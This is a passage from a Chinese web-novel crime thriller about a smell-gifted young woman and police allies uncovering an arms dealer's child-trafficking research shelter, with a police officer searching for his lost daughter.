虽然宁蓝国只是弹丸之地,但每个国家都有富人,池家的实力不容小觑。 他唯一运气不好的地方,就是小儿子不太听话。 他让池希去学经商,将来好能接班,这孩子一直不听话,一心吃喝玩乐。 如果池明远还有更好的选择,他倒是可以允许池希如此,可池昭…… 池明远总觉得他拿捏不了池昭。 池昭从小就与他不亲近。 他太聪明,很早便知道他母亲的死有问题。 不论池明远如何解释,他就是不信,每天都逼问他姜玉玲的下落。 姜玉玲是他最不愿意想起的人,时间久了,池明远便不太喜欢和池昭说话。 池昭长大后倒是能帮他打理生意,可就是因为他的头脑太够用,池明远很有危机感。 他总觉得等池昭的势力培养起来,池昭会把他踢出局。 所以这些年他一直防着池昭。 就这么拖着。 敲门声响起,身穿制服的魁梧男人走进来。 池明远瞥了他一眼,二人完全是两种长相。 宁蓝国十分混乱,各个人种都有,曼德更偏西方的白种人长相,池明远看起来就是普通的黄种人,不像其他当地人这般黑瘦。 池明远的身材保持得不错,五官也还算儒雅,打眼一看像是老实巴交的好人。 他示意曼德坐下。 曼德站着没动,“老池,你想和华国做生意,我不反对,但你如果要卖这些东西给他们,是不是该先和我商量?” 池明远不慌不忙道:“你多虑了,我不和官方做交易。” 曼德蹙起浓眉。 池明远道:“我的目标一直不是官方,事实上,就算上一批货被炸毁,来找我做交易的人仍然络绎不绝。” 曼德疑惑道:“你的意思是……” “让他们乱起来,对你们不 是更有利吗?你代表宁蓝国,应该会希望看到这样的场景。” 曼德渐渐露出笑容,“不得不说,还是你的心更狠。其实你也算是华国人,何必呢?” 池明远放下账本,微笑道:“谁给我钱,谁才是我的主子,这么简单的道理,相信你也明白。” 曼德勾唇,“还是和你合作最痛快,没有那些乱七八糟的事情,不过……谁说你不和官方做生意?我不就是官方吗?” 两人相视一笑。 曼德坐下,进入正题。 “长峡的警方找到你的货了,说是几个年轻女人在山上发现的,这几人有些怪。” 池明远道:“年轻女人?或许只是偶然发现?” 曼德说:“你不认为我们这两年遇到的糟糕事情很多吗,很多生意都莫名其妙失败,老池,我们少赚了很多钱。” 池明远看向挂在墙上的全家福。 他与孟简亲密地坐在前面,池希笑容灿烂,只有池昭,一脸阴郁。 池明远说:“生意失败,可能是内部出现问题。” “我还是不放心,所以查了那三人的身份,发现她们是从龙星岗过去的。很巧的是,其中一人与贵公子是同学,还是交往颇多的好友。” 池明远不动声色地看着曼德,“我不喜欢拐弯抹角的对话。” 曼德说:“他们一同在长峡读的初中、高中,池希经常去找她,她叫桑白玉。” 池明远沉默。 上一次听到桑白玉的名字,还和池昭有关。 祝江传来消息,说池昭单独行动没带他。 池明远便去查,发现池昭是与一个叫桑白玉的女孩在一起。 他刚起疑,池昭便派人去对方的家里,双方起了冲突,他们的人还进了派出所。 池明远以为,这只是池昭处理难题的一种方式。 他有些后悔当时没查得更清楚。 不过…… 为什么没查清楚? 按理来说,只要他下令,别说是她念过的高中,她与谁说过话都该查得清清楚楚才对。 池明远意识到不对劲。 他立刻拿起话筒,给助理打电话。 没过一会儿就得到回应,“查她的信息比较困难,有很多没用的信息掺杂在一起,需要辨认。” 池明远心一惊。 有人做过手脚。 池明远道:“你说有三个女孩,还有两人是谁?” “另一个是龙星岗警署的法医方小满,还有一人,暂时不清楚。桑白玉与方小满和龙星岗警署的署长来往密切,曾帮忙破获多起案子,在那一代很出名。” 池明远又让助理去查方小满。 结果一样,方小满和桑白玉的信息都不容易查。 这是有人在提防。 方小满就算了,桑白玉才刚成年,为何要提防? 曼德说:“来者不善,我们得去一趟龙星岗。” 池明远拧眉,“龙星岗可与长峡挨着。” “这又如何?” “你应该知道我背叛过那边,那边盯我盯得很紧,我一旦出现在长峡,有没有命能回来都两说。” 曼德道:“我只是说去龙星岗看看。” 池明远仍然摇头,“还是太危险。” “难道你将来不做生意了吗?”曼德说,“只要你想做生意,早晚要去,还是你要一直让池昭代劳?你说过,池昭的心思很深,要提防他,上次的教训你忘了吗?” 池明远哪里会忘? 生意刚有开端,那一车货物就被炸了,连带着何利也送了命。 警方没能给池明远一个满意的解释,他也无法公开质问。 但池明远一直在怀疑池昭。 池明远说:“让我再考虑考虑。” * 曼德带着几名下属来到平乡街。 平乡街是个神奇的地方,被通缉的犯人都喜欢往平乡街跑。 所有人都统一口径,格外害怕玉石店的那几位。 曼德听着便觉得好笑。 玉石店? 几个女人凑在一起的玉石店,有什么好害怕的? 不过平乡街的现状还是让曼德大吃一惊。 平乡街没有任何不正之风,营业的店铺都在规规矩矩地做生意,据说是被教训得多了,小毛贼都不敢上街。 这当然也和玉石店有关。 曼德不太高兴,直接往玉石店走去。 多年未整修的玉石店稍显破败。 下属说道:“听说这家店卖的都是上乘的珍品,这家的小姑娘很会挑石头。” 曼德问:“哪个小姑娘?” “叫什么玉的。” 又是桑白玉。 曼德又问:“怎么个会挑法?” “说是她买的石头,基本上都能开出玉,而且成色很不错,大家都很羡慕,想有她的本事。” 曼德越听越觉得奇怪。 这本事…… 下属小心翼翼地问道:“将军,我们进去之后,能……吗?” 曼德说:“随你们。” 下属欢呼着往前冲。 玉石店里都是珍品,拿回去能卖不少钱,这趟出来算是赚了。 玉石店的卷帘门是关闭的。 这帮人可不管门有没有锁,他们三下两下将门锁砸坏,一点儿技术含量都没有。 打开门,他们就往里闯。 透明柜台里的商品琳琅满目。 没人去二楼找人,所有人都被柜台里的玉石吸引。 曼德也走了进来,他没有制止下属,只是四处观察。 楼上悄无声息,不像有人。 曼德有些奇怪。 他们是秘密调查的,玉石店的人不该知道。 曼德往楼上走去。 二楼空空如也,没有人住过的痕迹。 曼德越看越奇怪,楼下也传来骂声,“这不就是破玻璃吗?!” “这是家黑店,真黑!” 曼德一惊,打开所有房门检查,没发现任何线索。 这会儿一楼的人才一股脑地往楼上冲,势必要把玉石店的宝贝找出来。 刚好曼德往楼下走,十几个人挤在楼梯上,楼梯发出诡异的声音。 这声音被吵闹声淹没。 他们都想给曼德让路,但人太多,无处可退。 就在这时,楼梯终于承受不住重量,一处折断处处断。 轰隆一声,所有人都向下摔去。 曼德:“……” 他是不是被算计了?? 巨大的声响引来周围的邻居。 他们七嘴八舌地讨论,“楼要塌了吗?苏蓝移出事了?” “哪能啊,苏蓝移早就走了,那天见他开了一辆卡车来,他怎么什么车都会开?” “也就他敢直接把玉石全都带走了,他家的玉可都是上等品质。” 曼德:“……” 他确实被算计了。 更糟糕的是,龙星岗警署的人也来了。 吴元青带人将曼德几人围起来,严肃道:“这是什么情况,你们是这家店的主人吗?为什么进来?” 有人发现卷帘门的锁被破坏,“他们是强盗,是闯进去的!” 吴元青大惊,“在平乡街还敢光明正大抢劫?这么多人都不等到晚上?蹲下!抱头!跟我们走!” 没穿制服的几人被迫带到警署。 曼德的脸色从未如此臭过。 这是他的屈辱!一辈子的屈辱!! 曼德还被关在询问室,他始终沉默。 吴元青借口公务,离开询问室,纳塔笑得肚子痛,“他还是什么将军,看他的脸臭的,就该让大家都知道,将军跑去玉石店偷东西。” “少生事,”吴元青瞥他一眼,“把消息告诉小玉就够了。” 纳塔说:“可他们确实闯进去偷东西了啊。” 吴元青似笑非笑道:“怎么,你还想把他关起来?可能吗?” 纳塔泄气道:“是不太可能。” 正如吴元青所想,一个小时后领导便打来电话,示意吴元青放人。 来龙星岗这么多年,吴元青已经习惯了。 他游刃有余地应对,对着曼德赔笑,用流利的宁蓝国语言说道:“真的太抱歉了,不知道您来龙星岗,这次的事保证不会让其他人知道,您如果愿意赏光,今晚就一起吃顿便饭,给您赔罪。” 曼德哪有心情吃饭,他问:“店里的楼梯怎么会断?” 吴元青:“明白!我都明白!一定是他们故意的,我会把他们抓进来,让他们解释清楚!不过曼德将军,他们家有个小女孩,以前帮过我,是不是能放过她一马?” 他的表现无懈可击。 纳塔小声说:“咱署长狗腿的样子真难看。” 阮枫 赞同道:“而且狗腿得越来越熟练了。” 曼德的脸色更是差劲。 他现在还摸不清吴元青和桑白玉的关系,不会把吴元青当作自己人。 不过目前来看,吴元青的表现也没什么特别的。 曼德还不至于当面为难吴元青,事情就此结束。 吴元青给桑白玉打去电话。 桑白玉若有所思道:“曼德?没听说过这个名字,我得问问大姐,应该和池明远有关,看来他们已经盯上玉石店,我们不能回去了。” 吴元青说:“你们最好离龙星岗远点儿,我看这位将军不是省油的灯。你们那边情况如何?” 桑白玉简单说了池茗的事,她关切道:“吴叔叔,你也回长峡吧,以后我帮你找女儿,红英姐姐的妈妈都找到了,你一个人在龙星岗,太危险。” 吴元青却松怔道:“等等,你刚才说的池茗,她是谁的孩子?” 桑白玉奇怪道:“谁的孩子?这我不清楚,我只看过她的档案。” 吴元青的心咚咚直跳,“就是档案。” 桑白玉回忆道:“第一份档案是7岁,是研究她的嗅觉的。” 长时间的沉默后,桑白玉才听到吴元青的声音,“我现在回长峡。” * 桑白玉和方小满一起去接从长峡赶来的吴元青。 “他们的目的已经很明确,就是为了寻找嗅觉异常的孩子,把这些孩子当作他们的武器。除了做生意,池明远似乎有更大的野心。” 吴元青的心率始终没下来过,他试探着问:“这些孩子从何而来,会不会是被拐走的?” “大姐担心打草惊蛇,现在还没对收容所下手,只是远远地盯着。我们救上来的女孩说,她是六岁那年和老师一起离开的,老师说要带她去骑木马,将她带上火车,之后便有其他人接手,老师离开。后来辗转反侧来到长峡。” 吴元青听得心惊肉跳,“老师居然是同谋?!” “他们不会随便带走孩子,应该是从老师那边得知某个孩子嗅觉比较好,所以带走研究。这件事已经持续很多年,第一个人……” 桑白玉想起那份没有姓名的陈旧档案,“第一个人是池昭的母亲,或许池明远就是通过池昭的母亲发现还有这类人的存在,所以动了心思。” “可池明远是个商人,这样做对他有什么好处?” 桑白玉说:“我们这类人,做事很方便,比如我去偷东西,你不必进门,我就知道有人来了。这是最简单的。往复杂里说,如果你给我一颗子弹,我就能分辨火药里的成分。子弹是很常见,但如果是不常见的武器呢?” 吴元青倒吸一口冷气,“他们就有研究方向了。” 桑白玉点头,“这太危险了,必须把他们连根拔起。” 吴元青却说:“你露面合适吗?” “我?” “如果他们知道你……你岂不是会很危险?” 桑白玉疑惑道:“他们能抓到我吗?” 吴元青伤感的情绪还未酝酿好,“?” 桑白玉:“我目前还没有碰到特别厉害的人诶,真的能抓住我吗?” 吴元青:“……” 所以说他不喜欢这个小朋友!! 吴元青是奔着池茗来的。 他女儿失踪时,也是七岁。 莫名其妙就失踪了。 他是刑警,打听到女儿可能被带到龙星岗,才托关系跑去龙星岗。 背井离乡多年,有关女儿的线索却从此断了。 吴元青这辈子好像都没什么指望了。 桑白玉把池茗当年的档案背了出来,包括身高、体重有几颗牙。 吴元青的心扑通扑通直跳。 年龄对得上,身高体重也对得上。 她该不会就是…… 吴元青艰难地问道:“你说她现在帮池明远做事?” 桑白玉说:“她对池明远非常忠诚,流浪汉的死、被丢掉的孩子们,都和她有关。” 听到这话的一瞬间,吴元青窝在角落失神,容貌憔悴,仿佛老了十岁。 桑白玉不知道池茗究竟是不是吴元青的女儿,她没有多说什么,在心里盘算惠海铭的计划。 惠海铭和苏蓝移都回来了,龙星岗那边暂时回不去,只能把人往长峡引。 只有池明远进入长峡境内,才能光明正大拿下他。 桑白玉去池希的房间找他,他和苏蓝移睡一个房间。 池希正冲着苏蓝移抱怨,“大叔,你就不能再给我腾出来一间房吗?真的很挤,我从来没住过这么小的房间?” 苏蓝移懒得理会池希。 他刚处理好龙星岗的事,现在累得很。 桑白玉走进去,认真地和池希分析,“作为朋友,我很不想看到你的父亲被捕,但作为华国人,你的父亲背叛过我们,害死了大姐的战友,又经营一些害人的生意,他必须接受惩罚。” 池希一时半刻还没办法把池明远和坏人联系在一起。 可这么多年,他不是傻子,不是完全没有察觉。 正是有所察觉,才不想和家中的生意扯上关系,每次池明远让他和池昭学习,他都能躲多远就躲多远。 池希问:“我哥呢?” “他走了。” “走?去哪?” 桑白玉说:“你爸把他叫走了。” 池希茫然地看着桑白玉。 桑白玉没再解释。 池昭说,池明远让他去盯着宁蓝国最西方的生意。 池家在西边的生意并不多,以前很少打理。 现在突然让池昭过去,恐怕是想让他远离长峡。 池明远可能想继续和长峡市做生意了。 桑白玉道:“你必须把小灵通借给我,我知道你和池明远有单独的联系方式,我要通过你把他引过来。” 苏蓝移余光看向二人。 他对池家人没有一点儿好感。 不管是池昭还是池希,在他眼中都一样。 他甚至不想和池昭有任何联络,偏偏桑白玉说池昭可以信任。 但他家小玉……对池希也太残忍了吧?表达的方式不需要委婉一点儿吗?? 他都看不下去了。 池希犹豫片刻,说:“好,我该怎么说,你告诉我哦。” 桑白玉让池希给池明远发信息。 以池希的口吻报平安。 池希疑惑道:“只是报平安?” 桑白玉点头。 “如果要利用我把他引过来,不是该说些威胁他的话?” 桑白玉说:“不用太刻意,这样说就好。” 池希的消息石沉大海,一直没回信。 他紧张地守着小灵通,就怕错过池明远的消息。 苏蓝移给他倒了杯温水,提醒道:“他极有可能是在暗中调查,你不必难过。” 池希没作声,只是盯着小灵通愣神—— 作者有话说:写完不敢发系列魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-66 第61章 新店铺的常住人口越来越多。 一楼,宁红英和张淼正在做生意。 化验结果已经邮寄回来,张淼正是宁红英的亲生母亲。 两人的心事都尘埃落定。 张淼不打算回老家,她要和宁红英一起留在长峡。 老家没人支持她出来找孩子,前夫已经再婚,她虽然理解他的决定,却也不想再给宁红英添麻烦。 惠海铭正在打电话。 苏蓝移坐在她对面。 桑白玉走过去,惠海铭正好挂断电话,感慨道:“在龙星岗待了那么久,没想到以这种方式回来,平乡街是去不了了。” “这家店也不能多待,池昭未必有其他心思,但他名下的资产,池明远 应该很了解。” 桑白玉说:“我问过池昭,这是他私人的,故意瞒着池明远,他不知道。” 苏蓝移挑眉,“他与池明远的关系倒是有趣。” “池昭母亲的失踪与池明远有关,池昭对他一直有恨,而且我总觉得……”桑白玉坐在惠海铭旁边,“池昭的身份好像不太一般。” 苏蓝移问:“怎么个不一般法?” “就是……”桑白玉摇头,“我也说不好,不确定,没有证据,只能想想。” 惠海铭提醒道:“不管怎么说,池昭都是池明远的儿子,你要小心一些,离他远一点。” “他人在哪?” 桑白玉说:“池明远把他调回宁蓝了,一个远离龙星岗的偏僻城市,池明远担心池昭给他使绊子。” “池昭给池明远使绊子?” “与何利的车一起爆炸的货车,运的是要贩卖到长峡的违禁武器,是池昭做的。” 惠海铭挑眉,“他倒是有点儿意思。” 桑白玉保证道:“他和池明远肯定不是一伙的,我能看得出来。” “只是看出来的?有证据吗?” “我……”桑白玉犹豫片刻,“我没办法说清楚,但一定是这样。” 惠海铭道:“小玉啊,你对他没别的心思吧?” 苏蓝移说:“你刚成年,对长相不错的男人有好感也正常,但他不行,年纪太大,做的事太危险。” 桑白玉茫然片刻,才慢慢意识到惠海铭和苏蓝移的意思。 桑白玉:“……” 她还真没往这方面想过。 惠海铭站起身,把椅子放好,“就先住在这里吧,不搬家了,派出所就在附近,很方便。我这几天要出去一趟,你们小心,有特殊情况一定要和我联系。” 桑白玉问:“不是要把池明远引过来抓走吗?” “引到长峡?这不太可能,”惠海铭说,“这是我和池明远的事,你还在暑假,多去玩玩吧。” 一连几日,桑白玉都没再见到惠海铭。 苏蓝移倒是偶尔出现,但出现的次数也不多。 警察也不再和她们来往,生活好像又恢复平静。 但桑白玉知道,有些事,她已经摸到边缘了。 最不满的是方小满。 “我为了你们才放弃长峡,去龙星岗的警署,结果你们现在都回来了!我不管,我也要回来!” 吴元青打着哈欠说:“我不还是跑回来了,什么法医,你就别管了,你有学历,在这边进法医检验中心还不是轻而易举?” 桑白玉担心道:“你在龙星岗的工作怎么办?” “谁知道,”吴元青冷哼道,“我还以为回来避开曼德,还能帮你们的忙,结果连玉石店的门都没出过。” 方小满道:“要不我们出去转转?每天都待在家里,我都快无聊死了,我们去找找池茗吧,或者去看看夏夏,可别让他们逃跑了。” 吴元青眼前一亮。 桑白玉知道吴元青对池茗很感兴趣,池茗来到收容所的年纪,和他女儿失踪时的年纪一样。 虽然不知道天底下有没有这么巧的事,但还是该让吴元青看看池茗的长相,说不定可以确认。 不过这事不太容易办到。 “吴叔叔,池茗的嗅觉异于常人,我们不能靠近,只有池昭能接近她,但现在池昭不在。” 方小满提议道:“我们带着望远镜,远远地看看,大姐给我的望远镜,军用的,特别清晰!” 三人一拍即合。 宁红英还要看店,不愿意走。 方小满痛心疾首,“你看看你现在的样子,越来越像土财主了。” 宁红英不动声色地拉开装钱的抽屉。 方小满正色道:“必须当土财主,我们的未来就靠你了!” 张淼笑盈盈地看着几人离开。 她刚听说宁红英是和几个没有血缘关系的人生活在一起时还很担忧,但来到店里后,就完全没有这方面的顾虑了。 她们彼此之间很亲密,而且一心为对方着想,和真正的一家人没两样。 宁红英能遇到她们,很幸运,张淼很感激。 桑白玉三人出门后,直接搭公车去收容所附近的山上。 监视收容所的人八成也在附近。 下了公车后还要再走一段路才能到山脚下。 华国早已开放,街道两旁都是做生意的小摊。 他们走到村子附近的集市,看到许多摊位。 桑白玉本想看看有没有好东西买回去,却听到角落里发出争吵声。 “你踩了我的东西就要走?我这是从香江进口的衣服,你赔钱!” “我只是碰了一下,哪里踩到了?你这一点儿印记都没有,还要我赔钱?香江也算进口?你敢去政府说这话吗?!” 桑白玉原本没关注这点儿小矛盾,但他们越吵越凶。 其他摊主居然向吵架的摊位聚集,两个人吵架逐渐变成群体吵架,而且每个人加入的阵营都很明确。 桑白玉越看越觉得奇怪。 吴元青做了这么多年警察,对这种情况见怪不怪,他解释道:“他们能在这里摆摊,估摸着都有要搞定的人,他们是在抱团。居然分成了两拨……看来这边的势力很复杂。” 桑白玉问:“为了这点儿小事吵起来,是积怨已久吗?” “差不多。” 两边越吵越凶,竟然开始上手。 眼瞅着吵架要变成斗殴,吴元青皱着眉走过去,他是警察,不能坐视不理。 第62章 然而事态发展远比吴元青想象中要严重。 吵架升级变成互殴,接着是群殴。 还不是普通的群殴,好多人都带着家伙。 这年头是不安定,但也不是人人都带家伙上街,朝对方往死里打的。 吴元青大惊失色,救下两个被卷入的普通老百姓后,立刻撤到桑白玉旁边,“他们不是普通商贩,是当地的混混,而且不是一起的。” 相当于两个团伙在打架。 被吴元青拉出来的人抱怨道:“可不是嘛,我们这里想摆摊,都得给他们交保护费,谁要是不想交钱,腿打断!唉,这些人早就该管管了。” 桑白玉问:“他们都是谁的人?” “一个叫华哥,一个叫黑哥,具体是谁我就不太清楚了。” 吴元青刚来长峡,对这边的情况也不太了解。 方小满倒是听说过,“我记得池希给我讲过,他似乎和这些人接触过,华哥应该稍微厉害些,而且他在宁蓝国见过华哥,华哥应该早就和池家有接触。” “黑哥呢?” “他说得不多,不过估摸着也有生意上的往来,他俩应该都有娱乐产业。” 这是在长峡混得比较“好”的两帮人,华哥和黑哥分别是“老大”。 一山不容二虎,两伙人又都有娱乐产业,自然看不惯彼此,打架是家常便饭,双方早有宿怨。 桑白玉说:“先报警吧,看到老百姓就把人拉出来。” 方小满问:“其他人不管了?” 吴元青:“……” 双方加起来起码四十号人,他们只有三个人,怎么管??? 然而桑白玉对这个问题并不惊讶。 这是最让吴元青悲伤的。 他好歹也练过那么多年,居然连两个小女孩都打不过! 桑白玉一边“抢救”普通老百姓,一边观察动手的人。 怎么刚刚好他们过来,这些人就打起来了? 是在给收容所通风报信? 不对,他们和池明远最多是合作关系,收容所的研究是保密的,和做生意不一样,他们不可能知道。 一辆黑色的轿车从对面开过来。 后排的车窗下摇,露出一张清秀的脸。 池茗扎着高马尾,淡淡地看着窗外。 她的视线没有分给打架斗殴的人。 桑白玉在瞬间捕捉到池茗的气味。 与此同时,池茗看向桑白玉。 相距四五米远,中间隔着随时被踹飞的人群,阴云聚集,风声鹤唳,二人的目光在空中对视。 她们从未正面见过彼此,却都熟悉对方的气味。 对视只是刹那间的事,轿车很快开走。 桑白玉心里只有一个念头——她也认出她了。 池茗是典型的华国女孩。 长峡部分当地人和龙星岗人长得很像,身材偏瘦,肤色偏黑,但池茗明明白白就是华国人的长相。 她的年纪在华国,还是该在学校读书的年纪。 现在却在做 一些危险的事情。 池茗曾经也是被他们研究的人之一,现在成为他们的得力助手,甚至是主要成员。 吴元青问:“你在看什么?” “池茗刚才过去了,在轿车里。” 吴元青立刻看向轿车,却只捕捉到尾巴。 桑白玉说:“一会儿我去刑侦队找技术员,请他们的画像师把池茗的容貌画出来,你来辨认。” 吴元青心情沉重地点头。 他是土生土长的华国人,并不喜欢龙星岗。 他无法接受龙星岗的生活习惯,从饮食到住宿,从来都没习惯过。 吴元青是为了找女儿才一直待在龙星岗,他希望有生之年还能再见她一面。 桑白玉见他失神,安慰道:“其实大姐他们在确认收容所孩子们的名单了,他们最近不敢有动作,怕被盯上,等过段时间说不定会转移,警方会尽快确认孩子们的身份,帮助他们回家。” 吴元青问:“你曾经说过,他们是被老师带出来的?” 桑白玉点头,“幼儿园老师。” “橙橙的幼儿园老师,我还有印象,”吴元青道,“我托我朋友查查。” 孩子失踪时,幼儿园老师还帮忙找人。 没想到她就有可能是罪魁祸首。 为了不让更多的孩子受到伤害,铲除收容所的行动不能耽误太久。 可目前为止,池茗几人还未和池家人联络,他们得把池茗背后的大鱼揪出来才能行动。 池茗已经离开,他们就没了去收容所的理由。 附近的派出所派人过来阻止两拨人马,现场得到控制后,桑白玉带着二人直奔刑侦队。 段浩给他的“资金支援伙伴”介绍了画像师,桑白玉和方小满口述,画像师根据描述来画,再做最后的调整。 方小满惊讶地看着画像师递过来的肖像,“几乎一样。” “是很像,”桑白玉钦佩道,“您真的好厉害。” 画像师笑道:“看家的本事罢了。” 桑白玉把画像递给吴元青。 薄薄的一张纸传到吴元青手中,仿佛有千斤重。 他迫不及待地去看画像,看到画中的年轻女孩后,一时失神。 很像,又不像。 吴元青发现他根本不知道橙橙长大后会是什么模样。 她被拐走那年,还那样小。 晚上桑白玉和方小满还要陪池希出去下馆子。 池希对于她们撇下他离开的事很不满。 在吴元青眼中,池希只是个普通的孩子。 他不见得真的不知道池明远的所作所为,他毕竟一直享受着富贵的生活,不可能毫无察觉。 但这些年相处下来,池希确实也没什么坏心思。 就算有,他的智商也不太能支持他做一个坏人。 这评价吴元青是不敢和池希说的。 吴元青一个人出去溜达。 走着走着,吴元青就坐上了公车,溜达到白天发生斗殴的地方,现在已经没有人了。 吴元青继续往山上走。 桑白玉说的路线他还记得,无论如何,他都想亲眼见到池茗。 吴元青不知道监视收容所的人在哪里,在他眼中这只是普通的山,只不过刚好能通过望远镜看到收容所。 吴元青带着望远镜越走越高。 说话声突然从上方传来。 “你去下面找。” “不会跑到下面吧?” “这谁知道?都怪你,咱们的规矩你都忘了?不能打孩子,不能让她害怕!如果能确定她不是老板要找的人,随你怎么打她,但现在不行!” 是一个女人在指责男人。 男人说:“还不是她不听话。” “那也不能打!她和我们有隔阂了,将来不帮我们怎么办?如果她真的和池茗一样,有那样的本事,却对我们不满,老板会生气!” 第63章 吴元青心脏狂跳。 他居然在这里遇到了那帮人? 他们是在找孩子,有孩子跑到山上了? 吴元青听到男人的冷笑声,“池茗就是蠢,死心塌地地为老板干活,我如果有她的本事,一定去享受荣华富贵。她呢?就因为老板说她的能力太一般,想方设法提升嗅觉,什么药都肯吃,她也不怕吃死?” “别说了,池茗马上就到,让她听到怎么办?赶紧找人!” 吴元青的心脏剧烈跳动。 他恍然意识到,池茗是被利用了,他们并没有把她当作真正的伙伴。 这对吴元青来说是个好消息。 敌人之间是有裂痕的,方便他行动。 但不知为何,吴元青好像在替池茗担心。 等二人没动静了,吴元青才往下撤。 他打算先给桑白玉报信,再商量下一步行动计划。 然而他往下走了五分钟,便听到沉重的呼吸声。 吴元青下意识寻找喘息的人,脖颈处便多了一把匕首。 扎着高马尾的女孩冷冷地看着吴元青,“你是谁,为什么在山上,条子?” 吴元青身上的警察味儿浓郁。 池茗见过很多警察,他们的特点都很明显,尤其是眼睛,和普通人不一样。 这两日池茗莫名心慌,尤其是在华哥的地盘上见到桑白玉那次。 她不认识桑白玉,但从其他人传来的信息来看,来者不善。 池茗想到被警方救走的四人。 虽然尸体都停在法医鉴定中心,但她还是心慌。 万一有人活了下来,他们的秘密就会曝光。 池茗越想越烦躁。 早就和他们说了,不要下死手,他们偏不听! 要这帮孩子的命对他们有什么好处?! 吴元青的状态和池茗完全不同。 他先是留意到她的轮廓,她背光走来,轮廓依然是少女的模样,可声音却有些粗糙,像是含着砂砾。 吴元青的目光停留在只能看到池茗轮廓的地方。 他知道自己只要再歪一下头就能看清她的容貌。 可他现在就像生锈的机器,无论如何也无法转动头颅。 他很明白,这绝不是因为脖颈上的利刃。 池茗的耐心极其有限,她出其不意地走到吴元青面前,露出整张脸。 她还是个模样稚嫩的小姑娘,如果没有经历这些事,现在应该是读高中的年纪。 可她眼中现在有不属于她的成熟与冷漠。 吴元青恍惚了。 他发现自己认不出女儿,他根本不知道她长大后会是什么样。 吴元青语无伦次道:“你要当心,他们不是真心对你。” 池茗拧眉,打量着眼前奇怪的男人。 吴元青却只想提醒池茗,“我刚才听到两个人的对话,好像提到你,说是一会儿会来的小姑娘,他们对你不太满意,但又因为什么理由不得不继续和你合作,我也没太听明白,你……当心啊。” 吴元青的眼中只有关切。 池茗怔住片刻,却没有收起匕首,她好像没听到吴元青的话,逼问道:“你是不是警察?” 吴元青平静地反问,“你害怕警察?” 池茗语塞。 她又看了吴元青两眼,收起匕首向后退,不愿再与他纠 缠。 吴元青给她的感觉很奇怪。 池茗想不通原因,她本能地认为吴元青很危险。 不过池茗可以确定,吴元青不是曾经去过收容所的人。 那两人大概只是偶然经过。 池茗道:“别说废话,赶紧走!” 她收好匕首,向山上走去。 吴元青急道:“我说的都是真的,他们会算计你!” 池茗冷淡地瞥了眼吴元青。 吴元青跟上她,急切道:“我还听到他们说起你的能力,我不太明白这种能力代表什么,但他们似乎非常忌惮,而且想对你……” 池茗再次停下。 她原本已经打算放过吴元青。 他不该说这种话。 池茗转动匕首,冷漠地看向吴元青,“你很啰嗦,有些事知道了,也该装作不知道。” 吴元青微怔,下意识说:“我只是不希望你被骗。” “我的能力,注定了他们要忌惮我三分,”池茗走向吴元青,“他们是真心对我,还是虚情假意,重要吗?” 她只需要一个容身之地,一个展现能力的平台,而且…… 池茗目光阴郁。 这些年收容所对她的研究也没停止,他们试图让她的嗅觉更上一层楼。 可她的能力已经发展到头,目前只能做到判断周围人的位置,若是残余气味,只能分辨十分钟内的味道,没办法再进一步。 那个人说,能力应该是可以逐步提高的。 池茗愈发烦躁,“你太啰嗦了,真的很啰嗦,我不明白你为什么要这样做。” 吴元青却很平静,“我的女儿失踪了,我来找女儿,她失踪时才7岁,我找了她很多年,山下的收容所……她或许在。” 池茗愣住。 收容所里的孩子是如何来的,她心知肚明。 吴元青继续说道:“我和她妈妈找了她很多年,她妈妈失去她后像变了个人,身体越来越差,我本想放弃找孩子,留下来照顾她,可她不同意,让我一定不能放弃,我找到新的线索,孩子可能在长峡、龙星岗附近出现,就过来了,我来这边,很多年了。” 池茗恍惚地看向吴元青。 林中枝叶密集,光线极暗,她好像看不清吴元青的脸。 记忆中,她在7岁以前,也一直跟在父母身后,可他们的容貌,她全然记不清了。 池茗看向收容所的方向,低声道:“你的孩子叫什么,有什么特征吗?” “16岁,”吴元青说,“她已经16岁了,没有胎记,没有标识,除了去做检测,没办法辨认。” 池茗向后退去。 16岁…… 她不可置信地看着吴元青。 不是,应该不是。 吴元青试图再与她交谈,池茗后退的速度却更快了,“今天我放过你,以后不要再出现。” 她转过身匆匆往山上跑去。 * “长峡那片,华子和黑子的势力最大,要做生意还真就得找他俩。这俩人水火不容,都挺需要咱们的东西的。”曼德循循善诱。 池明远脸色阴沉,“你刚带人在平乡街闹了一通,会让别人注意到我们。” 曼德耸肩道:“注意到又如何?谁敢说一句话?我就问你,这生意你是做还是不做。” 池明远当然想做生意。 他都把池昭“发配边疆”了,就是为了做成生意。 曼德笑道:“我建议你还是找华子,他做生意还算实诚,黑子有点儿黑历史。” 池明远很快跟上曼德的思路,“是不错,但有点儿问题。” “什么问题?” 池明远想到池昭,眉头紧蹙,“上次就是和华子做生意,货还没运过去就炸了,我担心……” 曼德意味深长地笑道:“那件事恐怕和小昭脱不开关系。” 池明远显然有些烦躁,“我是管不了他了,他有自己的想法,如果不是我提防着他,他恐怕连我都要踢出局。幸好我一直让祝江暗中汇报,但最近他似乎不太信任祝江,一直和更年轻的那位在一起……” 就连他的行迹,池明远都无法完全掌握。 池昭从帮他打理生意到现在,越来越脱离掌控。 所以池明远更喜欢池希,池希听话,没那么多想法。 “你们父子俩还是该好好谈谈,血浓于水,他还能真不认你这个爸不成?” 池明远冷冷笑着。 池昭的性格是最像他的,犟。 但又不是很像,他不会为了某一个人放弃大好的生活。 曼德试探道:“你们两人的心结,就是你前妻吧?你前妻是自己跑的,和你没关系,小昭聪明,知道该如何选择。” 人怎么会放弃荣华富贵,去选择一条布满荆棘的路? 和池明远作对,对池昭来说没有任何好处。 除非他更有野心,想取代池明远,但目前看来,池昭没有这样的想法。 池明远说:“我和他解释过无数次,如果管用,还用愁吗?我就怕这小子为了他妈要和我同归于尽……还是先把他的人慢慢撤出来。” 话虽这样说,实际做起来却很难。 池昭帮忙做生意太久了,久到池明远都分不清哪些是池昭的人,哪些是自己的人。 池昭身边永远只跟着一个边斌,不与任何人有过多亲近。导致池明远根本不知道其他人究竟向着哪一边,也不知道池昭到底有多少心腹。 仔细想想,好几年前起,池昭就有意避着他做事了。 当时池明远没放在心上,他不认为真的会有人不在乎钱。 现在池明远有些担忧了。 曼德说:“不管怎么说,我永远是你的伙伴,支持你的一切决定。你应该也是如此吧?” 池明远勉强笑笑。 